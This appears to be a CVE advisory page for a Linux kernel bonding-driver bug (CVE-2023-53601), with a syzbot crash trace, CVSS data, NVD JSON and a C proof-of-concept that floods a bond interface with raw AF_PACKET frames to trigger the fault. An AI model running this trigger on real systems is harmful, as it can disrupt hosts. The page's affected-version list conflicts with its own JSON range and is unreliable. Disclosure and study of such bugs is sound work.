CVE-2023-53601

Description

In the Linux kernel, the following vulnerability has been resolved: bonding: do not assume skb mac_header is set Drivers must not assume in their ndo_start_xmit() that skbs have their mac_header set. skb->data is all what is needed. bonding seems to be one of the last offender as caught by syzbot: WARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 skb_mac_offset include/linux/skbuff.h:2913 [inline] WARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_xmit_hash drivers/net/bonding/bond_main.c:4170 [inline] WARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_xmit_3ad_xor_slave_get drivers/net/bonding/bond_main.c:5149 [inline] WARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_3ad_xor_xmit drivers/net/bonding/bond_main.c:5186 [inline] WARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 __bond_start_xmit drivers/net/bonding/bond_main.c:5442 [inline] WARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_start_xmit+0x14ab/0x19d0 drivers/net/bonding/bond_main.c:5470 Modules linked in: CPU: 1 PID: 12155 Comm: syz-executor.3 Not tainted 6.1.30-syzkaller #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/25/2023 RIP: 0010:skb_mac_header include/linux/skbuff.h:2907 [inline] RIP: 0010:skb_mac_offset include/linux/skbuff.h:2913 [inline] RIP: 0010:bond_xmit_hash drivers/net/bonding/bond_main.c:4170 [inline] RIP: 0010:bond_xmit_3ad_xor_slave_get drivers/net/bonding/bond_main.c:5149 [inline] RIP: 0010:bond_3ad_xor_xmit drivers/net/bonding/bond_main.c:5186 [inline] RIP: 0010:__bond_start_xmit drivers/net/bonding/bond_main.c:5442 [inline] RIP: 0010:bond_start_xmit+0x14ab/0x19d0 drivers/net/bonding/bond_main.c:5470 Code: 8b 7c 24 30 e8 76 dd 1a 01 48 85 c0 74 0d 48 89 c3 e8 29 67 2e fe e9 15 ef ff ff e8 1f 67 2e fe e9 10 ef ff ff e8 15 67 2e fe <0f> 0b e9 45 f8 ff ff e8 09 67 2e fe e9 dc fa ff ff e8 ff 66 2e fe RSP: 0018:ffffc90002fff6e0 EFLAGS: 00010283 RAX: ffffffff835874db RBX: 000000000000ffff RCX: 0000000000040000 RDX: ffffc90004dcf000 RSI: 00000000000000b5 RDI: 00000000000000b6 RBP: ffffc90002fff8b8 R08: ffffffff83586d16 R09: ffffffff83586584 R10: 0000000000000007 R11: ffff8881599fc780 R12: ffff88811b6a7b7e R13: 1ffff110236d4f6f R14: ffff88811b6a7ac0 R15: 1ffff110236d4f76 FS: 00007f2e9eb47700(0000) GS:ffff8881f6b00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b2e421000 CR3: 000000010e6d4000 CR4: 00000000003526e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> [<ffffffff8471a49f>] netdev_start_xmit include/linux/netdevice.h:4925 [inline] [<ffffffff8471a49f>] __dev_direct_xmit+0x4ef/0x850 net/core/dev.c:4380 [<ffffffff851d845b>] dev_direct_xmit include/linux/netdevice.h:3043 [inline] [<ffffffff851d845b>] packet_direct_xmit+0x18b/0x300 net/packet/af_packet.c:284 [<ffffffff851c7472>] packet_snd net/packet/af_packet.c:3112 [inline] [<ffffffff851c7472>] packet_sendmsg+0x4a22/0x64d0 net/packet/af_packet.c:3143 [<ffffffff8467a4b2>] sock_sendmsg_nosec net/socket.c:716 [inline] [<ffffffff8467a4b2>] sock_sendmsg net/socket.c:736 [inline] [<ffffffff8467a4b2>] __sys_sendto+0x472/0x5f0 net/socket.c:2139 [<ffffffff8467a715>] __do_sys_sendto net/socket.c:2151 [inline] [<ffffffff8467a715>] __se_sys_sendto net/socket.c:2147 [inline] [<ffffffff8467a715>] __x64_sys_sendto+0xe5/0x100 net/socket.c:2147 [<ffffffff8553071f>] do_syscall_x64 arch/x86/entry/common.c:50 [inline] [<ffffffff8553071f>] do_syscall_64+0x2f/0x50 arch/x86/entry/common.c:80 [<ffffffff85600087>] entry_SYSCALL_64_after_hwframe+0x63/0xcd

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel 6.1.x（6.1.30及之前的6.1系列）

Linux Kernel 6.2.x

Linux Kernel 6.3.x

Linux Kernel 6.4.x

Linux Kernel 6.5.x

Linux Kernel 5.15.x（长期支持版本）

Linux Kernel 5.10.x（长期支持版本）

Linux Kernel 5.4.x（长期支持版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2023-53601 PoC - Trigger bonding driver mac_header warning
// This PoC triggers the vulnerability by sending packets via AF_PACKET
// to a bonding interface configured in 3AD XOR mode

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>

int main(int argc, char *argv[]) {
    int sockfd;
    struct sockaddr_ll sa;
    struct ifreq ifr;
    char sendbuf[ETH_FRAME_LEN];
    struct ethhdr *eth = (struct ethhdr *)sendbuf;

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <bond_interface>\n", argv[0]);
        fprintf(stderr, "Example: %s bond0\n", argv[0]);
        return 1;
    }

    // Create AF_PACKET raw socket
    sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockfd < 0) {
        perror("socket");
        return 1;
    }

    // Get interface index
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, argv[1], IFNAMSIZ - 1);
    if (ioctl(sockfd, SIOCGIFINDEX, &ifr) < 0) {
        perror("ioctl SIOCGIFINDEX");
        close(sockfd);
        return 1;
    }

    // Setup sockaddr_ll for packet socket
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = AF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = ifr.ifr_ifindex;
    sa.sll_halen = ETH_ALEN;

    // Construct minimal ethernet frame
    memset(eth->h_dest, 0xff, ETH_ALEN);  // Broadcast destination
    memset(eth->h_source, 0x00, ETH_ALEN); // Source MAC
    eth->h_proto = htons(ETH_P_IP);
    memset(sendbuf + sizeof(struct ethhdr), 0, ETH_FRAME_LEN - sizeof(struct ethhdr));

    printf("Sending packets to bonding interface %s...\n", argv[1]);
    printf("This should trigger skb_mac_offset warning in kernel log.\n");

    // Send packets to trigger the vulnerability
    // The packet_direct_xmit path will not set mac_header,
    // causing bond_xmit_hash to access uninitialized mac_header
    for (int i = 0; i < 10; i++) {
        if (sendto(sockfd, sendbuf, ETH_FRAME_LEN, 0,
                   (struct sockaddr *)&sa, sizeof(sa)) < 0) {
            perror("sendto");
        }
    }

    printf("Done. Check dmesg for kernel warnings.\n");
    close(sockfd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53601
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53601
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53601/
[4] VulDB https://vuldb.com/cve/CVE-2023-53601
[5] https://git.kernel.org/stable/c/029d892b05fc5e42a1b1c0665f62cb3e4b23e6dc
[6] https://git.kernel.org/stable/c/37b6143376a578265add04f35161b257eeb84a5e
[7] https://git.kernel.org/stable/c/6a940abdef3162e5723f1495b8a49859d1708f79
[8] https://git.kernel.org/stable/c/bc16fc63592c419357dd4c4d82d50762102a60ef
[9] https://git.kernel.org/stable/c/c96cc3d9acaca53d9a81c884c23f1224b61c829b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-53601", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:56.717", "lastModified": "2026-03-23T18:24:53.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: do not assume skb mac_header is set\n\nDrivers must not assume in their ndo_start_xmit() that\nskbs have their mac_header set. skb->data is all what is needed.\n\nbonding seems to be one of the last offender as caught by syzbot:\n\nWARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 skb_mac_offset include/linux/skbuff.h:2913 [inline]\nWARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_xmit_hash drivers/net/bonding/bond_main.c:4170 [inline]\nWARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_xmit_3ad_xor_slave_get drivers/net/bonding/bond_main.c:5149 [inline]\nWARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_3ad_xor_xmit drivers/net/bonding/bond_main.c:5186 [inline]\nWARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 __bond_start_xmit drivers/net/bonding/bond_main.c:5442 [inline]\nWARNING: CPU: 1 PID: 12155 at include/linux/skbuff.h:2907 bond_start_xmit+0x14ab/0x19d0 drivers/net/bonding/bond_main.c:5470\nModules linked in:\nCPU: 1 PID: 12155 Comm: syz-executor.3 Not tainted 6.1.30-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/25/2023\nRIP: 0010:skb_mac_header include/linux/skbuff.h:2907 [inline]\nRIP: 0010:skb_mac_offset include/linux/skbuff.h:2913 [inline]\nRIP: 0010:bond_xmit_hash drivers/net/bonding/bond_main.c:4170 [inline]\nRIP: 0010:bond_xmit_3ad_xor_slave_get drivers/net/bonding/bond_main.c:5149 [inline]\nRIP: 0010:bond_3ad_xor_xmit drivers/net/bonding/bond_main.c:5186 [inline]\nRIP: 0010:__bond_start_xmit drivers/net/bonding/bond_main.c:5442 [inline]\nRIP: 0010:bond_start_xmit+0x14ab/0x19d0 drivers/net/bonding/bond_main.c:5470\nCode: 8b 7c 24 30 e8 76 dd 1a 01 48 85 c0 74 0d 48 89 c3 e8 29 67 2e fe e9 15 ef ff ff e8 1f 67 2e fe e9 10 ef ff ff e8 15 67 2e fe <0f> 0b e9 45 f8 ff ff e8 09 67 2e fe e9 dc fa ff ff e8 ff 66 2e fe\nRSP: 0018:ffffc90002fff6e0 EFLAGS: 00010283\nRAX: ffffffff835874db RBX: 000000000000ffff RCX: 0000000000040000\nRDX: ffffc90004dcf000 RSI: 00000000000000b5 RDI: 00000000000000b6\nRBP: ffffc90002fff8b8 R08: ffffffff83586d16 R09: ffffffff83586584\nR10: 0000000000000007 R11: ffff8881599fc780 R12: ffff88811b6a7b7e\nR13: 1ffff110236d4f6f R14: ffff88811b6a7ac0 R15: 1ffff110236d4f76\nFS: 00007f2e9eb47700(0000) GS:ffff8881f6b00000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b2e421000 CR3: 000000010e6d4000 CR4: 00000000003526e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n<TASK>\n[<ffffffff8471a49f>] netdev_start_xmit include/linux/netdevice.h:4925 [inline]\n[<ffffffff8471a49f>] __dev_direct_xmit+0x4ef/0x850 net/core/dev.c:4380\n[<ffffffff851d845b>] dev_direct_xmit include/linux/netdevice.h:3043 [inline]\n[<ffffffff851d845b>] packet_direct_xmit+0x18b/0x300 net/packet/af_packet.c:284\n[<ffffffff851c7472>] packet_snd net/packet/af_packet.c:3112 [inline]\n[<ffffffff851c7472>] packet_sendmsg+0x4a22/0x64d0 net/packet/af_packet.c:3143\n[<ffffffff8467a4b2>] sock_sendmsg_nosec net/socket.c:716 [inline]\n[<ffffffff8467a4b2>] sock_sendmsg net/socket.c:736 [inline]\n[<ffffffff8467a4b2>] __sys_sendto+0x472/0x5f0 net/socket.c:2139\n[<ffffffff8467a715>] __do_sys_sendto net/socket.c:2151 [inline]\n[<ffffffff8467a715>] __se_sys_sendto net/socket.c:2147 [inline]\n[<ffffffff8467a715>] __x64_sys_sendto+0xe5/0x100 net/socket.c:2147\n[<ffffffff8553071f>] do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n[<ffffffff8553071f>] do_syscall_64+0x2f/0x50 arch/x86/entry/common.c:80\n[<ffffffff85600087>] entry_SYSCALL_64_after_hwframe+0x63/0xcd"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.12", "versionEndExcluding": "5.15.121", "matchCriteriaId": "12A35540-7F02-46C0-AC75-C86AFEB67980"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5. ... (truncated)